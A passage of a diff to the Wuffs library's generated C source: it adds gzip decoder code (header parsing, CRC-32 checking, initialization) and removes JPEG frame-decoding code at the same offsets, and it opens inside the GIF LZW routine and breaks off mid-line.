v_output_wi = ((v_output_wi + 1u) & 8191u); -+ } -+ if (v_save_code <= 4095u) { -+ v_lm1_b = ((uint16_t)(((uint16_t)(self->private_data.f_lzw_lm1s[v_prev_code] + 1u)) & 4095u)); -+ self->private_data.f_lzw_lm1s[v_save_code] = v_lm1_b; -+ if (((uint16_t)(v_lm1_b % 8u)) != 0u) { -+ self->private_impl.f_lzw_prefixes[v_save_code] = self->private_impl.f_lzw_prefixes[v_prev_code]; -+ memcpy(self->private_data.f_lzw_suffixes[v_save_code],self->private_data.f_lzw_suffixes[v_prev_code], sizeof(self->private_data.f_lzw_suffixes[v_save_code])); -+ self->private_data.f_lzw_suffixes[v_save_code][((uint16_t)(v_lm1_b % 8u))] = v_first_byte; -+ } else { -+ self->private_impl.f_lzw_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); -+ self->private_data.f_lzw_suffixes[v_save_code][0u] = ((uint8_t)(v_first_byte)); -+ } -+ v_save_code += 1u; -+ if (v_width < 12u) { -+ v_width += (1u & (v_save_code >> v_width)); -+ } -+ v_prev_code = v_code; - } -- } else if (self->private_impl.f_call_sequence == 64u) { -- self->private_impl.f_call_sequence = 96u; -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; - } else { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -+ self->private_impl.f_lzw_read_from_return_value = 4u; -+ break; - } -- if (a_dst != NULL) { -- wuffs_base__frame_config__set( -- a_dst, -- wuffs_base__utility__make_rect_ie_u32( -- 0u, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height), -- ((wuffs_base__flicks)(0u)), -- 0u, -- self->private_impl.f_frame_config_io_position, -- 0u, -- true, -- false, -- 4278190080u); -+ if (v_output_wi > 4095u) { -+ self->private_impl.f_lzw_read_from_return_value = 1u; -+ break; - } -- self->private_impl.f_call_sequence = 64u; -- -- ok: -- self->private_impl.p_do_decode_frame_config[0] = 0; -- goto exit; - } -- -- goto suspend; -- suspend: -- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: -+ if (self->private_impl.f_lzw_read_from_return_value != 2u) { -+ while (v_n_bits >= 8u) { -+ v_n_bits -= 8u; -+ if (iop_a_src > io1_a_src) { -+ iop_a_src--; -+ } else { -+ self->private_impl.f_lzw_read_from_return_value = 5u; -+ break; -+ } -+ } -+ } -+ self->private_impl.f_lzw_save_code = v_save_code; -+ self->private_impl.f_lzw_prev_code = v_prev_code; -+ self->private_impl.f_lzw_width = v_width; -+ self->private_impl.f_lzw_bits = v_bits; -+ self->private_impl.f_lzw_n_bits = v_n_bits; -+ self->private_impl.f_lzw_output_wi = v_output_wi; - if (a_src && a_src->data.ptr) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - -- return status; -+ return wuffs_base__make_empty_struct(); - } - --// -------- func jpeg.decoder.decode_frame -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GIF) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GZIP) -+ -+// ---------------- Status Codes Implementations -+ -+const char wuffs_gzip__error__bad_checksum[] = "#gzip: bad checksum"; -+const char wuffs_gzip__error__bad_compression_method[] = "#gzip: bad compression method"; -+const char wuffs_gzip__error__bad_encoding_flags[] = "#gzip: bad encoding flags"; -+const char wuffs_gzip__error__bad_header[] = "#gzip: bad header"; -+const char wuffs_gzip__error__truncated_input[] = "#gzip: truncated input"; -+ -+// ---------------- Private Consts -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_jpeg__decoder__decode_frame( -- wuffs_jpeg__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -+static wuffs_base__status -+wuffs_gzip__decoder__do_transform_io( -+ wuffs_gzip__decoder* self, -+ wuffs_base__io_buffer* a_dst, - wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -+ wuffs_base__slice_u8 a_workbuf); -+ -+// ---------------- VTables -+ -+const wuffs_base__io_transformer__func_ptrs -+wuffs_gzip__decoder__func_ptrs_for__wuffs_base__io_transformer = { -+ (wuffs_base__optional_u63(*)(const void*))(&wuffs_gzip__decoder__dst_history_retain_length), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_gzip__decoder__get_quirk), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_gzip__decoder__set_quirk), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__slice_u8))(&wuffs_gzip__decoder__transform_io), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_gzip__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_gzip__decoder__initialize( -+ wuffs_gzip__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } -+ } -+ -+ { -+ wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( -+ &self->private_data.f_checksum, sizeof(self->private_data.f_checksum), WUFFS_VERSION, options); -+ if (z.repr) { -+ return z; -+ } -+ } -+ { -+ wuffs_base__status z = wuffs_deflate__decoder__initialize( -+ &self->private_data.f_flate, sizeof(self->private_data.f_flate), WUFFS_VERSION, options); -+ if (z.repr) { -+ return z; -+ } -+ } -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = -+ wuffs_base__io_transformer__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = -+ (const void*)(&wuffs_gzip__decoder__func_ptrs_for__wuffs_base__io_transformer); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_gzip__decoder* -+wuffs_gzip__decoder__alloc(void) { -+ wuffs_gzip__decoder* x = -+ (wuffs_gzip__decoder*)(calloc(1, sizeof(wuffs_gzip__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_gzip__decoder__initialize( -+ x, sizeof(wuffs_gzip__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} -+ -+size_t -+sizeof__wuffs_gzip__decoder(void) { -+ return sizeof(wuffs_gzip__decoder); -+} -+ -+// ---------------- Function Implementations -+ -+// -------- func gzip.decoder.get_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_gzip__decoder__get_quirk( -+ const wuffs_gzip__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { -+ return 1u; -+ } -+ return 0u; -+} -+ -+// -------- func gzip.decoder.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_gzip__decoder__set_quirk( -+ wuffs_gzip__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ if (a_key == 1u) { -+ self->private_impl.f_ignore_checksum = (a_value > 0u); -+ return wuffs_base__make_status(NULL); -+ } -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func gzip.decoder.dst_history_retain_length -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_gzip__decoder__dst_history_retain_length( -+ const wuffs_gzip__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); -+ } -+ -+ return wuffs_base__utility__make_optional_u63(true, 0u); -+} -+ -+// -------- func gzip.decoder.workbuf_len -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_gzip__decoder__workbuf_len( -+ const wuffs_gzip__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ -+ return wuffs_base__utility__make_range_ii_u64(1u, 1u); -+} -+ -+// -------- func gzip.decoder.transform_io -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_gzip__decoder__transform_io( -+ wuffs_gzip__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { - if (!self) { - return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -@@ -43525,65 +43930,41 @@ wuffs_jpeg__decoder__decode_frame( - return wuffs_base__make_status(wuffs_base__error__bad_argument); - } - if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 3)) { -+ (self->private_impl.active_coroutine != 1)) { - self->private_impl.magic = WUFFS_BASE__DISABLED; - return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); - } - self->private_impl.active_coroutine = 0; - wuffs_base__status status = wuffs_base__make_status(NULL); - -- wuffs_base__status v_ddf_status = wuffs_base__make_status(NULL); -- wuffs_base__status v_swizzle_status = wuffs_base__make_status(NULL); -- uint32_t v_scan_count = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; -+ uint32_t coro_susp_point = self->private_impl.p_transform_io; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - - while (true) { -- v_scan_count = self->private_impl.f_scan_count; - { -- wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_frame(self, -- a_dst, -- a_src, -- a_blend, -- a_workbuf, -- a_opts); -- v_ddf_status = t_0; -- } -- if ((v_ddf_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- v_ddf_status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); -+ wuffs_base__status t_0 = wuffs_gzip__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); -+ v_status = t_0; - } -- if (wuffs_base__status__is_error(&v_ddf_status) || (v_scan_count < self->private_impl.f_scan_count)) { -- if (self->private_impl.f_sof_marker >= 194u) { -- wuffs_jpeg__decoder__apply_progressive_idct(self, a_workbuf); -- } -- if (self->private_impl.f_num_components == 1u) { -- v_swizzle_status = wuffs_jpeg__decoder__swizzle_gray(self, a_dst, a_workbuf); -- } else { -- v_swizzle_status = wuffs_jpeg__decoder__swizzle_colorful(self, a_dst, a_workbuf); -- } -- if (wuffs_base__status__is_error(&v_ddf_status)) { -- status = v_ddf_status; -- goto exit; -- } else if (wuffs_base__status__is_error(&v_swizzle_status)) { -- status = v_swizzle_status; -- goto exit; -- } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_gzip__error__truncated_input); -+ goto exit; - } -- status = v_ddf_status; -+ status = v_status; - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); - } - - ok: -- self->private_impl.p_decode_frame[0] = 0; -+ self->private_impl.p_transform_io = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -+ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; - - goto exit; - exit: -@@ -43593,24 +43974,40 @@ wuffs_jpeg__decoder__decode_frame( - return status; - } - --// -------- func jpeg.decoder.do_decode_frame -+// -------- func gzip.decoder.do_transform_io - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_jpeg__decoder__do_decode_frame( -- wuffs_jpeg__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -+wuffs_gzip__decoder__do_transform_io( -+ wuffs_gzip__decoder* self, -+ wuffs_base__io_buffer* a_dst, - wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -+ wuffs_base__slice_u8 a_workbuf) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint32_t v_pixfmt = 0; -+ uint8_t v_c8 = 0; -+ uint8_t v_flags = 0; -+ uint16_t v_xlen = 0; -+ uint64_t v_mark = 0; -+ uint32_t v_checksum_have = 0; -+ uint32_t v_decoded_length_have = 0; - wuffs_base__status v_status = wuffs_base__make_status(NULL); -- uint8_t v_c = 0; -- uint8_t v_marker = 0; -+ uint32_t v_checksum_want = 0; -+ uint32_t v_decoded_length_want = 0; - -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -43622,236 +44019,269 @@ wuffs_jpeg__decoder__do_decode_frame( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; -+ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; - if (coro_susp_point) { -- v_marker = self->private_data.s_do_decode_frame[0].v_marker; -+ v_flags = self->private_data.s_do_transform_io.v_flags; -+ v_checksum_have = self->private_data.s_do_transform_io.v_checksum_have; -+ v_decoded_length_have = self->private_data.s_do_transform_io.v_decoded_length_have; -+ v_checksum_want = self->private_data.s_do_transform_io.v_checksum_want; - } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_call_sequence == 64u) { -- } else if (self->private_impl.f_call_sequence < 64u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+ { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_jpeg__decoder__do_decode_frame_config(self, NULL, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- if (status.repr) { -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ if (v_c8 != 31u) { -+ status = wuffs_base__make_status(wuffs_gzip__error__bad_header); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- } else { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; - } -- v_pixfmt = 536870920u; -- if (self->private_impl.f_num_components > 1u) { -- v_pixfmt = 2415954056u; -+ if (v_c8 != 139u) { -+ status = wuffs_base__make_status(wuffs_gzip__error__bad_header); -+ goto exit; - } -- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -- wuffs_base__pixel_buffer__pixel_format(a_dst), -- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), -- wuffs_base__utility__make_pixel_format(v_pixfmt), -- wuffs_base__utility__empty_slice_u8(), -- a_blend); -- if ( ! wuffs_base__status__is_ok(&v_status)) { -- status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- goto ok; -+ uint8_t t_2 = *iop_a_src++; -+ v_c8 = t_2; - } -- if (self->private_impl.f_components_workbuf_offsets[8u] > ((uint64_t)(a_workbuf.len))) { -- status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); -+ if (v_c8 != 8u) { -+ status = wuffs_base__make_status(wuffs_gzip__error__bad_compression_method); - goto exit; -- } else if (self->private_impl.f_components_workbuf_offsets[4u] < self->private_impl.f_components_workbuf_offsets[8u]) { -- wuffs_base__bulk_memset(a_workbuf.ptr + self->private_impl.f_components_workbuf_offsets[4u], (self->private_impl.f_components_workbuf_offsets[8u] - self->private_impl.f_components_workbuf_offsets[4u]), 0u); - } -- if (self->private_impl.f_components_workbuf_offsets[4u] <= ((uint64_t)(a_workbuf.len))) { -- wuffs_base__bulk_memset(a_workbuf.ptr, self->private_impl.f_components_workbuf_offsets[4u], 128u); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ v_flags = t_3; - } -- while (true) { -+ self->private_data.s_do_transform_io.scratch = 6u; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (self->private_data.s_do_transform_io.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_transform_io.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_transform_io.scratch; -+ if (((uint8_t)(v_flags & 4u)) != 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ uint16_t t_4; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_4 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; -+ if (num_bits_4 == 8) { -+ t_4 = ((uint16_t)(*scratch)); -+ break; -+ } -+ num_bits_4 += 8u; -+ *scratch |= ((uint64_t)(num_bits_4)) << 56; -+ } -+ } -+ v_xlen = t_4; -+ } -+ self->private_data.s_do_transform_io.scratch = ((uint32_t)(v_xlen)); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ if (self->private_data.s_do_transform_io.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_transform_io.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_transform_io.scratch; -+ } -+ if (((uint8_t)(v_flags & 8u)) != 0u) { - while (true) { - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; -+ uint8_t t_5 = *iop_a_src++; -+ v_c8 = t_5; - } -- if (v_c == 255u) { -+ if (v_c8 == 0u) { - break; - } - } -+ } -+ if (((uint8_t)(v_flags & 16u)) != 0u) { - while (true) { - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint8_t t_1 = *iop_a_src++; -- v_c = t_1; -+ uint8_t t_6 = *iop_a_src++; -+ v_c8 = t_6; - } -- if (v_c != 255u) { -- v_marker = v_c; -+ if (v_c8 == 0u) { - break; - } - } -- if (v_marker == 0u) { -- continue; -- } else if ((208u <= v_marker) && (v_marker <= 217u)) { -- if (v_marker <= 215u) { -- continue; -+ } -+ if (((uint8_t)(v_flags & 2u)) != 0u) { -+ self->private_data.s_do_transform_io.scratch = 2u; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -+ if (self->private_data.s_do_transform_io.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_transform_io.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_transform_io.scratch; -+ } -+ if (((uint8_t)(v_flags & 224u)) != 0u) { -+ status = wuffs_base__make_status(wuffs_gzip__error__bad_encoding_flags); -+ goto exit; -+ } -+ while (true) { -+ v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); -+ { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); - } -- } else { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- uint32_t t_2; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_2 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_do_decode_frame[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_frame[0].scratch; -- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); -- if (num_bits_2 == 8) { -- t_2 = ((uint32_t)(*scratch >> 48)); -- break; -- } -- num_bits_2 += 8u; -- *scratch |= ((uint64_t)(num_bits_2)); -- } -- } -- self->private_impl.f_payload_length = t_2; -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- if (self->private_impl.f_payload_length < 2u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); -- goto exit; -+ wuffs_base__status t_7 = wuffs_deflate__decoder__transform_io(&self->private_data.f_flate, a_dst, a_src, a_workbuf); -+ v_status = t_7; -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; - } -- self->private_impl.f_payload_length -= 2u; - } -- if (v_marker < 192u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -- goto exit; -- } else if (v_marker < 208u) { -- if (v_marker == 196u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- status = wuffs_jpeg__decoder__decode_dht(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -+ if ( ! self->private_impl.f_ignore_checksum) { -+ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_checksum, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); -+ v_decoded_length_have += ((uint32_t)(wuffs_private_impl__io__count_since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst))))); -+ } -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(12); -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); -+ uint32_t t_8; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- continue; -- } else if (v_marker == 200u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -- goto exit; -- } else if (v_marker < 224u) { -- if (v_marker < 217u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); -- goto exit; -- } else if (v_marker == 217u) { -- break; -- } else if (v_marker == 218u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- status = wuffs_jpeg__decoder__decode_sos(self, a_src, a_workbuf); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; -+ if (num_bits_8 == 24) { -+ t_8 = ((uint32_t)(*scratch)); -+ break; - } -- if (status.repr) { -+ num_bits_8 += 8u; -+ *scratch |= ((uint64_t)(num_bits_8)) << 56; -+ } -+ } -+ v_checksum_want = t_8; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); -+ uint32_t t_9; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_9 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = 